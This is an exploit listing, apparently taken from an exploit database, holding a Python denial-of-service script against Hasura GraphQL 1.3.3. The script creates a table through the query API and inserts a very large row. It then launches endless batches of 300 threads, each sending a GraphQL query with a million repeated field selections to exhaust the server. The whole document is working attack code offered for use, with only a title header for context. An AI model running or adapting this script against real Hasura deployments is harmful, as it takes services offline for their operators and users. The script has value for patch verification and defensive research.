Exploit for Hasura GraphQL 1.3.3 Denial Of Service

## https://sploitus.com/exploit?id=PACKETSTORM:162277
# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service  
# Software: Hasura GraphQL  
# Software Link: https://github.com/hasura/graphql-engine  
# Version: 1.3.3  
# Author: Dolev Farhi  
# Date: 4/19/2021  
# Tested on: Ubuntu  
  
import sys  
import requests  
import threading  
  
HASURA_SCHEME = 'http'  
HASURA_HOST = '192.168.1.1'  
HASURA_PORT = 80  
THREADS = 300  
  
def create_table():  
data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]}  
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)  
r = requests.post(endpoint, json=data)  
return r  
  
def insert_row():  
bomb = 'A' * 100000  
data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}}  
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)  
r = requests.post(endpoint, json=data)  
return r  
  
def DoS():  
dups = 'test \n ' * 1000000  
data = {'query': 'query { test_db { ' + dups + '} }'}  
endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)  
r = requests.post(endpoint, json=data)  
return r  
  
if not create_table().ok:  
print('something went wrong, could not create table.')  
sys.exit(1)  
  
if not insert_row().ok:  
print('something went wrong, could not insert row')  
sys.exit(1)  
  
while True:  
for _ in range(THREADS):  
print('Starting')  
t = threading.Thread(target=DoS, args=())  
t.start()